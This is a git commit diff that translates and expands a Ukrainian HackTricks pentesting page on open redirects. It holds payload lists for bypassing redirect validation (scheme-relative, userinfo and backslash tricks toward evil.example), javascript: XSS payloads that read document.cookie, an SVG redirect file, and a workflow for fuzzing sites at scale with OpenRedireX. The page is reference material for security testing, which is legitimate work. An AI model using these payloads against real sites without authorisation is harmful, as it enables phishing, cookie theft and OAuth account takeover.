mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/open-redirect.md'] to uk
This commit is contained in:
parent
8d4b64f37c
commit
c9f44355ba
@ -5,14 +5,25 @@
|
||||
|
||||
## Open redirect
|
||||
|
||||
### Перенаправлення на localhost або довільні домени
|
||||
### Redirect to localhost or arbitrary domains
|
||||
|
||||
- Якщо додаток “allows only internal/whitelisted hosts”, спробуйте альтернативні нотації хоста, щоб вказати loopback або внутрішні діапазони через redirect target:
|
||||
- IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
|
||||
- IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
|
||||
- Кінцева крапка та регістр: localhost., LOCALHOST, 127.0.0.1.
|
||||
- Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Це корисно, коли дозволені лише “subdomains of X”, але резолюція хоста все ще вказує на 127.0.0.1.
|
||||
- Network-path references часто обходять наївні валідатори, які додають scheme або перевіряють лише префікси:
|
||||
- //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme.
|
||||
- Userinfo tricks обходять перевірки contains/startswith щодо довірених хостів:
|
||||
- https://trusted.tld@attacker.tld/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld.
|
||||
- Плутанина з парсингом зворотного слеша між фреймворками/браузерами:
|
||||
- https://trusted.tld\@attacker.tld → some backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. This also appears in Node/PHP URL-parser mismatches.
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Open Redirect до XSS
|
||||
### Modern open-redirect to XSS pivots
|
||||
```bash
|
||||
#Basic payload, javascript code is executed after "javascript:"
|
||||
javascript:alert(1)
|
||||
@ -58,7 +69,36 @@ javascript://whitelisted.com?%a0alert%281%29
|
||||
/x:1/:///%01javascript:alert(document.cookie)/
|
||||
";alert(0);//
|
||||
```
|
||||
## Open Redirect завантаження svg файлів
|
||||
<details>
|
||||
<summary>Більш сучасні URL-based bypass payloads</summary>
|
||||
```text
|
||||
# Scheme-relative (current scheme is reused)
|
||||
//evil.example
|
||||
|
||||
# Credentials (userinfo) trick
|
||||
https://trusted.example@evil.example/
|
||||
|
||||
# Backslash confusion (server validates, browser normalizes)
|
||||
https://trusted.example\@evil.example/
|
||||
|
||||
# Schemeless with whitespace/control chars
|
||||
evil.example%00
|
||||
%09//evil.example
|
||||
|
||||
# Prefix/suffix matching flaws
|
||||
https://trusted.example.evil.example/
|
||||
https://evil.example/trusted.example
|
||||
|
||||
# When only path is accepted, try breaking absolute URL detection
|
||||
/\\evil.example
|
||||
/..//evil.example
|
||||
```
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
## Open Redirect uploading svg files
|
||||
|
||||
```html
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
@ -68,7 +108,9 @@ xmlns="http://www.w3.org/2000/svg">
|
||||
</svg>
|
||||
</code>
|
||||
```
|
||||
## Загальні параметри ін'єкції
|
||||
|
||||
## Common injection parameters
|
||||
|
||||
```
|
||||
/{payload}
|
||||
?next={payload}
|
||||
@ -143,17 +185,23 @@ RedirectUrl=https://c1h2e1.github.io
|
||||
Redirect=https://c1h2e1.github.io
|
||||
ReturnUrl=https://c1h2e1.github.io
|
||||
```
|
||||
## Приклади коду
|
||||
|
||||
## Code examples
|
||||
|
||||
#### .Net
|
||||
|
||||
```bash
|
||||
response.redirect("~/mysafe-subdomain/login.aspx")
|
||||
```
|
||||
|
||||
#### Java
|
||||
|
||||
```bash
|
||||
response.redirect("http://mysafedomain.com");
|
||||
```
|
||||
|
||||
#### PHP
|
||||
|
||||
```php
|
||||
<?php
|
||||
/* browser redirections*/
|
||||
@ -161,16 +209,75 @@ header("Location: http://mysafedomain.com");
|
||||
exit;
|
||||
?>
|
||||
```
|
||||
|
||||
## Hunting and exploitation workflow (practical)
|
||||
|
||||
- Single URL check with curl:
|
||||
|
||||
```bash
|
||||
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
|
||||
```
|
||||
|
||||
- Discover and fuzz likely parameters at scale:
|
||||
|
||||
<details>
|
||||
<summary>Click to expand</summary>
|
||||
|
||||
```bash
|
||||
# 1) Зібрати історичні URL, залишити ті, що мають поширені параметри перенаправлення
|
||||
cat domains.txt \
|
||||
| gau --o urls.txt # or: waybackurls / katana / hakrawler
|
||||
|
||||
# 2) Grep поширені параметри та нормалізувати список
|
||||
rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
|
||||
| sed 's/\r$//' | sort -u > candidates.txt
|
||||
|
||||
# 3) Використати OpenRedireX для фуззингу з payload corpus
|
||||
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
|
||||
|
||||
# 4) Вручну перевірити цікаві результати
|
||||
awk '/30[1237]|Location:/I' results.txt
|
||||
```
|
||||
```
|
||||
</details>
|
||||
|
||||
- Не забувайте про client-side sinks у SPAs: шукайте window.location/assign/replace та framework helpers, які читають query/hash і роблять redirect.
|
||||
|
||||
- Frameworks часто вводять footguns, коли redirect destinations утворюються з ненадійного input (query params, Referer, cookies). Див. нотатки Next.js щодо redirects і уникайте dynamic destinations, що походять від user input.
|
||||
|
||||
{{#ref}}
|
||||
../network-services-pentesting/pentesting-web/nextjs.md
|
||||
{{#endref}}
|
||||
|
||||
- OAuth/OIDC flows: зловживання open redirectors часто ескалується до account takeover шляхом leak authorization codes/tokens. Див. присвячений гайд:
|
||||
|
||||
{{#ref}}
|
||||
./oauth-to-account-takeover.md
|
||||
{{#endref}}
|
||||
|
||||
- Відповіді сервера, які реалізують redirects без заголовка Location (meta refresh/JavaScript), все ще можуть використовуватись для phishing і іноді ланцюжитися. Grep for:
|
||||
```html
|
||||
<meta http-equiv="refresh" content="0;url=//evil.example">
|
||||
<script>location = new URLSearchParams(location.search).get('next')</script>
|
||||
```
|
||||
## Інструменти
|
||||
|
||||
- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
||||
- OpenRedireX – fuzzer для виявлення open redirects. Приклад:
|
||||
```bash
|
||||
# Install
|
||||
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
|
||||
|
||||
## Ресурси
|
||||
# Fuzz a list of candidate URLs (use FUZZ as placeholder)
|
||||
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
|
||||
```
|
||||
## Посилання
|
||||
|
||||
- У [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) ви можете знайти списки для фуззингу.
|
||||
- На https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect ви можете знайти fuzzing lists.
|
||||
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
||||
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||
|
||||
- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
|
||||
- OpenRedireX – fuzzer для виявлення open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user